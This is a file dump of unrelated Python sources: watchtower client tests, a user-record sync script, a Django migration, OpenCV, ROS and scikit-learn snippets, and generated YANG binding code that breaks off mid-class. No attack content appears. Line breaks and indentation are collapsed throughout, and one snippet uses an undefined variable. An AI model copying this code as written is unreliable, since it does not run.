teos_client.register(dummy_user_id, dummy_teos_id, teos_url) def test_register_with_invalid_user_id(): # Simulate a register response with pytest.raises(InvalidParameter): teos_client.register("invalid_user_id", dummy_teos_id, teos_url) def test_register_with_connection_error(): # We don't mock any url to simulate a connection error with pytest.raises(ConnectionError): teos_client.register(dummy_user_id, dummy_teos_id, teos_url) # Should also fail with missing or unknown protocol, with a more specific error message with pytest.raises(ConnectionError, match="Invalid URL"): teos_client.register(dummy_user_id, dummy_teos_id, "//teos.watch") with pytest.raises(ConnectionError, match="Invalid URL"): teos_client.register(dummy_user_id, dummy_teos_id, "nonExistingProtocol://teos.watch") def test_create_appointment(): # Tests that an appointment is properly created provided the input data is correct appointment = teos_client.create_appointment(dummy_appointment_data) assert isinstance(appointment, Appointment) assert appointment.locator == dummy_appointment_data.get( "locator" ) and appointment.to_self_delay == dummy_appointment_data.get("to_self_delay") assert appointment.encrypted_blob == Cryptographer.encrypt( dummy_appointment_data.get("tx"), dummy_appointment_data.get("tx_id") ) def test_create_appointment_missing_fields(): # Data is sanitized by parse_add_appointment_args, so the input must be a dict with data. # The expected fields may be missing though. no_txid = {"tx": get_random_value_hex(200)} no_tx = {"tx_id": get_random_value_hex(32)} incorrect_txid = {"tx_id": get_random_value_hex(31), "tx": get_random_value_hex(200)} incorrect_tx = {"tx_id": get_random_value_hex(32), "tx": 1} with pytest.raises(InvalidParameter, match="Missing tx_id"): teos_client.create_appointment(no_txid) with pytest.raises(InvalidParameter, match="Wrong tx_id"): teos_client.create_appointment(incorrect_txid) with pytest.raises(InvalidParameter, match="tx field is missing"): teos_client.create_appointment(no_tx) with pytest.raises(InvalidParameter, match="tx field is not a string"): teos_client.create_appointment(incorrect_tx) @responses.activate def test_add_appointment(): # Simulate a request to add_appointment for dummy_appointment, make sure that the right endpoint is requested # and the return value is True appointment = teos_client.create_appointment(dummy_appointment_data) user_signature = Cryptographer.sign(appointment.serialize(), dummy_user_sk) appointment_receipt = receipts.create_appointment_receipt(user_signature, CURRENT_HEIGHT) response = { "locator": dummy_appointment.locator, "signature": Cryptographer.sign(appointment_receipt, dummy_teos_sk), "available_slots": 100, "start_block": CURRENT_HEIGHT, "subscription_expiry": CURRENT_HEIGHT + 4320, } responses.add(responses.POST, add_appointment_endpoint, json=response, status=200) result = teos_client.add_appointment( Appointment.from_dict(dummy_appointment_data), dummy_user_sk, dummy_teos_id, teos_url ) assert len(responses.calls) == 1 assert responses.calls[0].request.url == add_appointment_endpoint assert result @responses.activate def test_add_appointment_with_missing_signature(): # Simulate a request to add_appointment for dummy_appointment, but the response does not have # the signature. appointment = teos_client.create_appointment(dummy_appointment_data) response = { "locator": dummy_appointment.locator, # no signature "available_slots": 100, "start_block": CURRENT_HEIGHT, "subscription_expiry": CURRENT_HEIGHT + 4320, } responses.add(responses.POST, add_appointment_endpoint, json=response, status=200) with pytest.raises(TowerResponseError, match="does not contain the signature"): teos_client.add_appointment(appointment, dummy_user_sk, dummy_teos_id, teos_url) # should have performed exactly 1 network request assert len(responses.calls) == 1 @responses.activate def test_add_appointment_with_invalid_signature(): # Simulate a request to add_appointment for dummy_appointment, but sign with a different key, # make sure that the right endpoint is requested, but the return value is False appointment = teos_client.create_appointment(dummy_appointment_data) user_signature = Cryptographer.sign(appointment.serialize(), dummy_user_sk) appointment_receipt = receipts.create_appointment_receipt(user_signature, CURRENT_HEIGHT) # Sign with a bad key response = { "locator": dummy_appointment.locator, "signature": Cryptographer.sign(appointment_receipt, another_sk), "available_slots": 100, "start_block": CURRENT_HEIGHT, "subscription_expiry": CURRENT_HEIGHT + 4320, } responses.add(responses.POST, add_appointment_endpoint, json=response, status=200) with pytest.raises(TowerResponseError): teos_client.add_appointment( Appointment.from_dict(dummy_appointment_data), dummy_user_sk, dummy_teos_id, teos_url ) # should have performed exactly 1 network request assert len(responses.calls) == 1 @responses.activate def test_get_appointment(): # Response of get_appointment endpoint is an appointment with status added to it. response = { "locator": dummy_appointment_dict.get("locator"), "status": AppointmentStatus.BEING_WATCHED, "appointment": dummy_appointment_dict, } responses.add(responses.POST, get_appointment_endpoint, json=response, status=200) result = teos_client.get_appointment(dummy_appointment_dict.get("locator"), dummy_user_sk, dummy_teos_id, teos_url) assert len(responses.calls) == 1 assert responses.calls[0].request.url == get_appointment_endpoint assert result.get("locator") == response.get("locator") def test_get_appointment_invalid_locator(): # Test that an invalid locator fails with InvalidParamater before any network request with pytest.raises(InvalidParameter, match="locator is not valid"): teos_client.get_appointment("deadbeef", dummy_user_sk, dummy_teos_id, teos_url) @responses.activate def test_get_appointment_tower_error(): # Test that a TowerResponseError is raised if the response is invalid. locator = dummy_appointment_dict.get("locator") responses.add(responses.POST, get_appointment_endpoint, body="{ invalid json response", status=200) with pytest.raises(TowerResponseError): teos_client.get_appointment(locator, dummy_user_sk, dummy_teos_id, teos_url) assert len(responses.calls) == 1 @responses.activate def test_get_appointment_connection_error(): locator = get_random_value_hex(16) # Test that get_appointment handles a connection error appropriately. responses.add(responses.POST, get_appointment_endpoint, body=ConnectionError()) with pytest.raises(ConnectionError): teos_client.get_appointment(locator, dummy_user_sk, dummy_teos_id, teos_url) @responses.activate def test_get_subscription_info(): # Response of get_appointment endpoint is an appointment with status added to it. response = dummy_user_data responses.add(responses.POST, get_subscription_info_endpoint, json=response, status=200) result = teos_client.get_subscription_info(dummy_user_sk, dummy_teos_id, teos_url) assert len(responses.calls) == 1 assert responses.calls[0].request.url == get_subscription_info_endpoint assert result.get("available_slots") == response.get("available_slots") @responses.activate def test_get_subscription_info_wrong_user_sk(): responses.add(responses.POST, get_subscription_info_endpoint, body=TowerResponseError("Wrong signature")) with pytest.raises(TowerResponseError): teos_client.get_subscription_info(another_sk, dummy_teos_id, teos_url) def test_load_keys(keyfiles): # Test that it correctly returns a tuple of 2 elements with the correct keys r = teos_client.load_keys(keyfiles.private_key_file_path) assert isinstance(r, tuple) assert len(r) == 2 def test_load_keys_none(keyfiles): # If the param does not match the expected, we should get an InvalidKey exception with pytest.raises(InvalidKey): teos_client.load_keys(None) def test_load_keys_empty(keyfiles): # If the file is empty, InvalidKey should be raised with pytest.raises(InvalidKey): teos_client.load_keys(keyfiles.empty_file_path) def test_load_teos_id(keyfiles): # Test that it correctly returns the teos id assert is_compressed_pk(teos_client.load_teos_id(keyfiles.public_key_file_path)) def test_load_teos_id_none(keyfiles): # If the param does not match the expected, we should get an InvalidKey exception with pytest.raises(InvalidKey, match="public key file not found"): teos_client.load_teos_id(None) def test_load_teos_id_empty(keyfiles): # If the file is empty, InvalidKey should be raised with pytest.raises(InvalidKey, match="public key cannot be loaded"): teos_client.load_teos_id(keyfiles.empty_file_path) @responses.activate def test_post_request(): response = { "locator": dummy_appointment.to_dict()["locator"], "signature": Cryptographer.sign(dummy_appointment.serialize(), dummy_teos_sk), } responses.add(responses.POST, add_appointment_endpoint, json=response, status=200) response = teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) assert len(responses.calls) == 1 assert responses.calls[0].request.url == add_appointment_endpoint assert response def test_post_request_connection_error(): with pytest.raises(ConnectionError): teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) @responses.activate def test_process_post_response(post_response): # A 200 OK with a correct json response should return the json of the response responses.add(responses.POST, add_appointment_endpoint, json=post_response, status=200) r = teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) assert teos_client.process_post_response(r) == r.json() @responses.activate def test_process_post_response_404(post_response): # If the response code is a rejection (lets say 404) it should raise TowerResponseError responses.add(responses.POST, add_appointment_endpoint, json=post_response, status=404) with pytest.raises(TowerResponseError): r = teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) teos_client.process_post_response(r) @responses.activate def test_process_post_response_not_json(post_response): # TowerResponseError should be raised if the response is not in json (independently of the status code) responses.add(responses.POST, add_appointment_endpoint, status=404) with pytest.raises(TowerResponseError): r = teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) teos_client.process_post_response(r) responses.replace(responses.POST, add_appointment_endpoint, status=200) with pytest.raises(TowerResponseError): r = teos_client.post_request(json.dumps(dummy_appointment_data), add_appointment_endpoint) teos_client.process_post_response(r) def test_parse_add_appointment_args(): # If file exists and has data in it, function should work. with open("appt_test_file", "w") as f: json.dump(dummy_appointment_data, f) appt_data = teos_client.parse_add_appointment_args(["-f", "appt_test_file"]) assert appt_data # If appointment json is passed in, function should work. appt_data = teos_client.parse_add_appointment_args([json.dumps(dummy_appointment_data)]) assert appt_data os.remove("appt_test_file") def test_parse_add_appointment_args_wrong(): # If no args are passed, function should fail. with pytest.raises(InvalidParameter): teos_client.parse_add_appointment_args(None) # If the arg is an empty dict it should fail with pytest.raises(InvalidParameter): teos_client.parse_add_appointment_args({}) # If file doesn't exist, function should fail. with pytest.raises(FileNotFoundError): teos_client.parse_add_appointment_args(["-f", "nonexistent_file"]) def test_save_appointment_receipt(monkeypatch): appointments_folder = "test_appointments_receipts" monkeypatch.setitem(config, "APPOINTMENTS_FOLDER_NAME", appointments_folder) config["APPOINTMENTS_FOLDER_NAME"] = appointments_folder # The functions creates a new directory if it does not exist assert not os.path.exists(appointments_folder) teos_client.save_appointment_receipt( dummy_appointment.to_dict(), Cryptographer.sign(dummy_appointment.serialize(), dummy_teos_sk), CURRENT_HEIGHT, config.get("APPOINTMENTS_FOLDER_NAME"), ) assert os.path.exists(appointments_folder) # Check that the receipt has been saved by checking the file names files = os.listdir(appointments_folder) assert any([dummy_appointment.locator in f for f in files]) shutil.rmtree(appointments_folder)
python
import requests import json def post_to_rapidapps(body): url = "https://rapid-apps-2475.eu-gb.mybluemix.net/services/2984dcb289ef8da69bfdc2442546d334" payload = { "iduser":body['iduser'], "firstname":body['firstname'], "lastname":body['lastname'], "height":body['height'], "weight":body['weight'], "position":body['position'], "isPublic":body['isPublic'], "username":body['username'], "lengthOfFemur":body['lengthOfFemur'], "lengthOfTibia":body['lengthOfTibia'], "distanceElbowBottom":body['distanceElbowBottom'], "defaultWorkplace":body['defaultWorkplace'], "email": body.get('email') } headers = { 'content-type': "application/json" # 'cache-control': "no-cache", # 'postman-token': "ad231e44-444e-510e-ea43-811235517205" } response = requests.request("POST", url, data=json.dumps(payload), headers=headers) print(response.text) def retrieve_from_aidima(): url = "http://83.136.188.223/PSYReport/rest/userlist/get" headers = { 'cache-control': "no-cache", 'postman-token': "fc91ddf4-df82-198a-b876-b53ad11647b0" } response = requests.request("GET", url, headers=headers) print "ok" for user in response.json(): post_to_rapidapps(user) print user retrieve_from_aidima()
python
# BerylDB - A modular database. # http://www.beryldb.com # # Copyright (C) 2021 Carlos F. Ferry <[email protected]> # # This file is part of BerylDB. BerylDB is free software: you can # redistribute it and/or modify it under the terms of the BSD License # version 3. # # More information about our licensing can be found at https://docs.beryl.dev from .client import Client
python
# Generated by Django 3.1.2 on 2021-02-09 12:17 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('mvp', '0016_notification_ratings'), ] operations = [ migrations.CreateModel( name='Hub_User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('hub_id', models.CharField(max_length=500, unique=True)), ('firstname', models.CharField(blank=True, max_length=30, verbose_name='Firstname')), ('lastname', models.CharField(blank=True, max_length=30, verbose_name='Lastname')), ('hub_phone', models.TextField(max_length=15, null=True, unique=True, verbose_name='Telephone number')), ('email', models.EmailField(max_length=90, unique=True, verbose_name='Email')), ('hub_password', models.TextField(max_length=200, verbose_name='Password')), ('hub_address', models.TextField(max_length=200, verbose_name='Address')), ('hub_state', models.TextField(max_length=200, verbose_name='State')), ('hub_council_area', models.TextField(max_length=200, verbose_name='LGA/Council Area')), ('hub_country', models.TextField(max_length=200, verbose_name='Country')), ('total_items_collected', models.FloatField(default=0, verbose_name='Total Plastics collected')), ('date_added', models.DateTimeField(default=django.utils.timezone.now)), ], options={ 'db_table': 'hub_user_table', }, ), migrations.AddField( model_name='recycleditems', name='collected', field=models.BooleanField(default=False), ), migrations.AddField( model_name='recycleditems', name='paid', field=models.BooleanField(default=False), ), ]
python
import cv2 import numpy as np import matplotlib.pyplot as plt ''' 创建一个SURF对象: cv2.xfeatures2d.SURF_create(, hessianThreshold, nOctaves, nOctaveLayers, extended, upright) hessianThreshold:默认100 nOctaves:金字塔组数默认4 nOctaveLayers:每组金子塔的层数默认3 extended:默认False,扩展描述符标志,False表示使用64个元素描述符。 upright:默认False,垂直向上或旋转的特征标志,False表示计算方向。 绘制特征点: cv2.drawKeypoint(image, keypoints, None, color, flags) image:输入图像img keypoints:上面获取的特征点kp outImage:无输出图像 color:(0, 255, 0) 绿色 flags:绘制点的模式,cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS 绘制特征点的时候绘制的是带有方向的圆,这种方法同时显示图像的坐标,size,和方向,是最能显示特征的一种绘制方式。 ''' def draw_SURF(inputpath,outputpath): img = cv2.imread(inputpath) surf = cv2.xfeatures2d.SURF_create(4000) kp = surf.detect(img, None) img2 = cv2.drawKeypoints(img, kp, None, (0, 255, 0), 4) plt.figure() plt.imshow(img2[:,:,::-1]) plt.title('SURF Threshold=4000') plt.axis('off') plt.tight_layout() plt.savefig(outputpath) # plt.show() plt.close()
python
# terrascript/provider/rancher/rancher2.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:25:37 UTC) import terrascript class rancher2(terrascript.Provider): """Terraform Rancher2 provider""" __description__ = "Terraform Rancher2 provider" __namespace__ = "rancher" __name__ = "rancher2" __source__ = "https://github.com/rancher/terraform-provider-rancher2" __version__ = "1.20.0" __published__ = "2021-09-17T16:07:45Z" __tier__ = "partner" __all__ = ["rancher2"]
python
#!/usr/bin/env python import rospy import numpy as np from nav_msgs.msg import OccupancyGrid from geometry_msgs.msg import PoseStamped from tf import TransformListener from copy import deepcopy class MapWhiteout: def map_callback(self, map): print("received map!") self.map = map if self.pose is None: # uninitialized pose print("pose not received yet, passing on map...") else: grid = np.array(map.data) grid = np.resize(grid, (map.info.height, map.info.width)) res = map.info.resolution origin = np.array([map.info.origin.position.x,map.info.origin.position.y]) m_center = self.pose #print m_center m_center_adj = m_center - origin #print m_center_adj cell_center = (m_center_adj / res) m_width = 0.4 cell_width = (m_width / res) y_start = int(cell_center[0]-cell_width/2) y_stop = int(cell_center[0]+cell_width/2) x_start = int(cell_center[1]-cell_width/2) x_stop = int(cell_center[1]+cell_width/2) grid[x_start:x_stop, y_start:y_stop].fill(0) #print "grid value: " + str(any(grid)) # print type(np.resize(grid, (1, map.info.height*map.info.width)).astype(int).tolist()[0]) map.data = np.resize(grid, (1, map.info.height*map.info.width)).astype(np.int8).tolist()[0] def __init__(self): rospy.init_node("map_whiteout") self.map = None self.pose = None self.pub = rospy.Publisher("/turtlebot/map", OccupancyGrid, latch=True, queue_size=1) self.sub1 = rospy.Subscriber("/map", OccupancyGrid, self.map_callback) self.tf = TransformListener() print("running map whiteout node...") r = rospy.Rate(1) while not rospy.is_shutdown(): try: if self.tf.frameExists("/map") and self.tf.frameExists("/turtlebot/base_link"): t = self.tf.getLatestCommonTime("/map", "/turtlebot/base_link") pos, quat = self.tf.lookupTransform("/map", "/turtlebot/base_link", t) print("got map to base link transform") self.pose = np.array([pos[0], pos[1]]) except: pass if self.map is not None: self.pub.publish(self.map) r.sleep() if __name__ == '__main__': mw = MapWhiteout()
python
import numpy as np import matplotlib.pyplot as plt from sklearn import datasets, svm from sklearn.feature_selection import SelectPercentile, f_classif # http://scikit-learn.org/stable/modules/feature_selection.html # ############################################################################# # Univariate feature selection with F-test for feature scoring # We use the default selection function: the 10% most significant features # NOTE: F-test assumes normal distribution of data and cannot be used in # binary data # https://en.wikipedia.org/wiki/F-test # calculating correlations between data and target only tells me that there # is no linear relationship, not that there is no information given by the # data # I guess the problem would be similar using ANOVA f-tests # # hugo.lopes 3:11 PM # @hcastilho you can use several feature selection algorithms that helps you determine if there is _something there_ but use them with caution. You can use chi-squared test for categorical variables # 3:11 # kruskal-wallis for numericals # 3:11 # and check the p-value of these tests # 3:12 # however, these tests generally fail when your data is not linear # 3:12 # for non-linearity you can use mutual information, which is related with entropy # 3:12 # http://scikit-learn.org/stable/modules/generated/sklearn.feature_selection.mutual_info_classif.html -> for classification problems # 3:13 # these type of algorithms, I would use when we have a lot of features and we want to reduce our dimensionality space # 3:15 # you could also use Random forests or Gradient Boosting and remove iteratively the less important feature. However, there are also limitations on this strategy. For instance, you should really understand the meaning of the "feature importance" in those algorithms and be careful with correlated features X = dataset.drop(['target'], axis=1) y = dataset['target'] selector = SelectPercentile(f_classif, percentile=10) selector.fit(X, y) # Remove zeros zero_idx = [idx for idx, value in enumerate(selector.pvalues_) if value == 0.0] scores = [value for value in selector.pvalues_ if value != 0.0] print(X.columns[zero_idx]) X = X.drop(X.columns[zero_idx], axis=1) res = sorted(zip(scores, X.columns), key=lambda x: x[0]) X_indices = np.arange(X.shape[-1]) plt.bar(X_indices - .45, scores, width=.2, label=r'Univariate score ($-Log(p_{value})$)', color='darkorange', edgecolor='black') plt.show()
python
#Enter a number and identify whether it is palindrome or not. n=int(input("Enter a no.:")) n1=n2=n count=0 temp=0 ans=0 while n!=0: n=n//10 count=count+1 #print("count=",count) count=count-1 while n1!=0: temp=n1%10 n1=n1//10 ans=ans+(10**count)*temp count=count-1 #print("ans=",ans) if ans==n2: print("The input number is palindrome no.") else: print("The input number is not palindrome no.")
python
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import ve_igmpl3_static_group class igmp(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-common-def - based on the path /routing-system/interface/ve/ip/igmp. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__igmpl3_last_member_query_interval','__igmpl3_query_interval','__igmpl3_query_max_response_time','__igmpl3_immediate_leave','__igmpl3_version','__ve_igmpl3_static_group',) _yang_name = 'igmp' _rest_name = 'igmp' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__igmpl3_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True) self.__igmpl3_query_max_response_time = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..25']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(10), is_leaf=True, yang_name="igmpl3-query-max-response-time", rest_name="query-max-response-time", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'IGMP Max Query Response Time', u'cli-full-command': None, u'alt-name': u'query-max-response-time'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qmrt-type', is_config=True) self.__igmpl3_version = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..3']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(2), is_leaf=True, yang_name="igmpl3-version", rest_name="version", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Version for this interface', u'cli-full-command': None, u'alt-name': u'version'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='uint32', is_config=True) self.__igmpl3_immediate_leave = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="igmpl3-immediate-leave", rest_name="immediate-leave", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Immediate Leave Processing', u'cli-full-command': None, u'alt-name': u'immediate-leave'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='empty', is_config=True) self.__ve_igmpl3_static_group = YANGDynClass(base=YANGListType("igmpl3_sg_addr",ve_igmpl3_static_group.ve_igmpl3_static_group, yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='igmpl3-sg-addr', extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}), is_container='list', yang_name="ve_igmpl3-static-group", rest_name="static-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'callpoint': u'IgmpSviSg', u'cli-suppress-mode': None, u'alt-name': u'static-group', u'info': u'Static Group to be Joined', u'cli-suppress-list-no': None}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='list', is_config=True) self.__igmpl3_last_member_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'routing-system', u'interface', u've', u'ip', u'igmp'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'interface', u'Ve', u'ip', u'igmp'] def _get_igmpl3_last_member_query_interval(self): """ Getter method for igmpl3_last_member_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_last_member_query_interval (igmp-snooping:lmqt-type) """ return self.__igmpl3_last_member_query_interval def _set_igmpl3_last_member_query_interval(self, v, load=False): """ Setter method for igmpl3_last_member_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_last_member_query_interval (igmp-snooping:lmqt-type) If this variable is read-only (config: false) in the source YANG file, then _set_igmpl3_last_member_query_interval is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_igmpl3_last_member_query_interval() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """igmpl3_last_member_query_interval must be of a type compatible with igmp-snooping:lmqt-type""", 'defined-type': "igmp-snooping:lmqt-type", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True)""", }) self.__igmpl3_last_member_query_interval = t if hasattr(self, '_set'): self._set() def _unset_igmpl3_last_member_query_interval(self): self.__igmpl3_last_member_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'100..25500']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(1000), is_leaf=True, yang_name="igmpl3-last-member-query-interval", rest_name="last-member-query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Last Member Query Interval', u'cli-full-command': None, u'alt-name': u'last-member-query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:lmqt-type', is_config=True) def _get_igmpl3_query_interval(self): """ Getter method for igmpl3_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_interval (igmp-snooping:qi-type) """ return self.__igmpl3_query_interval def _set_igmpl3_query_interval(self, v, load=False): """ Setter method for igmpl3_query_interval, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_interval (igmp-snooping:qi-type) If this variable is read-only (config: false) in the source YANG file, then _set_igmpl3_query_interval is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_igmpl3_query_interval() directly. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """igmpl3_query_interval must be of a type compatible with igmp-snooping:qi-type""", 'defined-type': "igmp-snooping:qi-type", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True)""", }) self.__igmpl3_query_interval = t if hasattr(self, '_set'): self._set() def _unset_igmpl3_query_interval(self): self.__igmpl3_query_interval = YANGDynClass(base=RestrictedClassType(base_type=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), restriction_dict={'range': [u'1..18000']}), default=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32)(125), is_leaf=True, yang_name="igmpl3-query-interval", rest_name="query-interval", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'Query Interval', u'cli-full-command': None, u'alt-name': u'query-interval'}}, namespace='urn:brocade.com:mgmt:brocade-igmp', defining_module='brocade-igmp', yang_type='igmp-snooping:qi-type', is_config=True) def _get_igmpl3_query_max_response_time(self): """ Getter method for igmpl3_query_max_response_time, mapped from YANG variable /routing_system/interface/ve/ip/igmp/igmpl3_query_max_response_time (igmp-snooping:qmrt-type) """ return self.__igmpl3_query_max_response_time 